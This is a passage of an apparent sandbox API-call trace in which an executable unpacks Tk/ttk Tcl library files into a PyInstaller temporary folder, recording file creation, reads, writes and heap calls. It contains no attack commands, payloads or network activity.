lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\progress.tcl") returned 65 [0044.939] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\progress.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk\\progress.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.939] GetLastError () returned 0x2 [0044.939] SetLastError (dwErrCode=0x2) [0044.939] GetLastError () returned 0x2 [0044.939] SetLastError (dwErrCode=0x2) [0044.939] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\progress.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\progress.tcl", lpFilePart=0x0) returned 0x40 [0044.940] GetLastError () returned 0x2 [0044.940] SetLastError (dwErrCode=0x2) [0044.940] GetLastError () returned 0x2 [0044.940] SetLastError (dwErrCode=0x2) [0044.940] GetLastError () returned 0x2 [0044.940] SetLastError (dwErrCode=0x2) [0044.940] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\progress.tcl") returned 65 [0044.940] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.940] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\progress.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk\\progress.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.940] GetFileType (hFile=0x10c) returned 0x1 [0044.940] htonl (hostlong=0x41040000) returned 0x441 [0044.940] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.940] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x441, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0x441, lpOverlapped=0x0) returned 1 [0044.941] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.941] CloseHandle (hObject=0x10c) returned 1 [0044.941] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5507b8 | out: hHeap=0x530000) returned 1 [0044.941] htonl (hostlong=0x30000000) returned 0x30 [0044.941] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.941] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.941] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.941] GetFileType (hFile=0x10c) returned 0x1 [0044.941] htonl (hostlong=0x79776000) returned 0x607779 [0044.942] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x652779, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.942] htonl (hostlong=0xd9020000) returned 0x2d9 [0044.942] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x2d9) returned 0x550600 [0044.942] htonl (hostlong=0xd9020000) returned 0x2d9 [0044.942] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.942] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.942] htonl (hostlong=0x660a0000) returned 0xa66 [0044.942] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa66) returned 0x55e278 [0044.942] htonl (hostlong=0xd9020000) returned 0x2d9 [0044.942] htonl (hostlong=0x660a0000) returned 0xa66 [0044.942] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0044.942] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0044.942] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0044.942] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.942] CloseHandle (hObject=0x10c) returned 1 [0044.942] GetLastError () returned 0x0 [0044.942] SetLastError (dwErrCode=0x0) [0044.942] GetLastError () returned 0x0 [0044.942] SetLastError (dwErrCode=0x0) [0044.942] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.942] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.942] GetFileType (hFile=0x10c) returned 0x1 [0044.942] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.942] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.942] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.942] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.942] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.942] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.943] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.943] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.943] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.943] CloseHandle (hObject=0x10c) returned 1 [0044.943] GetLastError () returned 0x0 [0044.943] SetLastError (dwErrCode=0x0) [0044.943] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk") returned 52 [0044.943] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.943] GetFileType (hFile=0x10c) returned 0x1 [0044.943] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.943] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.943] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.943] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.943] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.943] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.943] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.943] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.943] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.943] CloseHandle (hObject=0x10c) returned 1 [0044.943] GetLastError () returned 0x0 [0044.943] SetLastError (dwErrCode=0x0) [0044.943] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\scale.tcl") returned 62 [0044.943] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\scale.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk\\scale.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.943] GetLastError () returned 0x2 [0044.943] SetLastError (dwErrCode=0x2) [0044.943] GetLastError () returned 0x2 [0044.944] SetLastError (dwErrCode=0x2) [0044.944] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\scale.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\scale.tcl", lpFilePart=0x0) returned 0x3d [0044.944] GetLastError () returned 0x2 [0044.944] SetLastError (dwErrCode=0x2) [0044.944] GetLastError () returned 0x2 [0044.944] SetLastError (dwErrCode=0x2) [0044.944] GetLastError () returned 0x2 [0044.944] SetLastError (dwErrCode=0x2) [0044.944] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\scale.tcl") returned 62 [0044.944] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.944] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\scale.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk\\scale.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.944] GetFileType (hFile=0x10c) returned 0x1 [0044.944] htonl (hostlong=0x660a0000) returned 0xa66 [0044.944] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.944] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xa66, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xa66, lpOverlapped=0x0) returned 1 [0044.945] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.945] CloseHandle (hObject=0x10c) returned 1 [0044.945] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0044.945] htonl (hostlong=0x30000000) returned 0x30 [0044.945] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.945] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.945] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.945] GetFileType (hFile=0x10c) returned 0x1 [0044.945] htonl (hostlong=0x527a6000) returned 0x607a52 [0044.945] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x652a52, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.945] htonl (hostlong=0x3c040000) returned 0x43c [0044.946] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x43c) returned 0x550600 [0044.946] htonl (hostlong=0x3c040000) returned 0x43c [0044.946] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.946] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.946] htonl (hostlong=0x190c0000) returned 0xc19 [0044.946] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc19) returned 0x55e278 [0044.946] htonl (hostlong=0x3c040000) returned 0x43c [0044.946] htonl (hostlong=0x190c0000) returned 0xc19 [0044.946] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0044.946] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0044.946] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0044.946] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.946] CloseHandle (hObject=0x10c) returned 1 [0044.946] GetLastError () returned 0x0 [0044.946] SetLastError (dwErrCode=0x0) [0044.946] GetLastError () returned 0x0 [0044.946] SetLastError (dwErrCode=0x0) [0044.946] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.946] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.946] GetFileType (hFile=0x10c) returned 0x1 [0044.947] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.947] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.947] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.947] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.947] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.947] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.947] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.947] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.947] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.947] CloseHandle (hObject=0x10c) returned 1 [0044.947] GetLastError () returned 0x0 [0044.947] SetLastError (dwErrCode=0x0) [0044.947] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk") returned 52 [0044.947] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.947] GetFileType (hFile=0x10c) returned 0x1 [0044.947] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.947] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.947] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.947] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.947] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.947] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.947] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.947] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.948] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.948] CloseHandle (hObject=0x10c) returned 1 [0044.948] GetLastError () returned 0x0 [0044.948] SetLastError (dwErrCode=0x0) [0044.948] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\scrollbar.tcl") returned 66 [0044.948] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\scrollbar.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk\\scrollbar.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.948] GetLastError () returned 0x2 [0044.948] SetLastError (dwErrCode=0x2) [0044.948] GetLastError () returned 0x2 [0044.948] SetLastError (dwErrCode=0x2) [0044.948] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\scrollbar.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\scrollbar.tcl", lpFilePart=0x0) returned 0x41 [0044.948] GetLastError () returned 0x2 [0044.948] SetLastError (dwErrCode=0x2) [0044.948] GetLastError () returned 0x2 [0044.948] SetLastError (dwErrCode=0x2) [0044.948] GetLastError () returned 0x2 [0044.948] SetLastError (dwErrCode=0x2) [0044.948] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\scrollbar.tcl") returned 66 [0044.948] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.948] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\scrollbar.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk\\scrollbar.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.948] GetFileType (hFile=0x10c) returned 0x1 [0044.949] htonl (hostlong=0x190c0000) returned 0xc19 [0044.949] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.949] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xc19, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xc19, lpOverlapped=0x0) returned 1 [0044.949] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.949] CloseHandle (hObject=0x10c) returned 1 [0044.950] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0044.950] htonl (hostlong=0x30000000) returned 0x30 [0044.950] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.950] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.950] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.950] GetFileType (hFile=0x10c) returned 0x1 [0044.950] htonl (hostlong=0x8e7e6000) returned 0x607e8e [0044.950] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x652e8e, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.950] htonl (hostlong=0xa1030000) returned 0x3a1 [0044.950] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x3a1) returned 0x550600 [0044.950] htonl (hostlong=0xa1030000) returned 0x3a1 [0044.950] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.950] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.950] htonl (hostlong=0x58090000) returned 0x958 [0044.950] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x958) returned 0x55e278 [0044.950] htonl (hostlong=0xa1030000) returned 0x3a1 [0044.950] htonl (hostlong=0x58090000) returned 0x958 [0044.950] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0044.950] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0044.950] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0044.950] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.950] CloseHandle (hObject=0x10c) returned 1 [0044.950] GetLastError () returned 0x0 [0044.950] SetLastError (dwErrCode=0x0) [0044.950] GetLastError () returned 0x0 [0044.951] SetLastError (dwErrCode=0x0) [0044.951] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.951] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.951] GetFileType (hFile=0x10c) returned 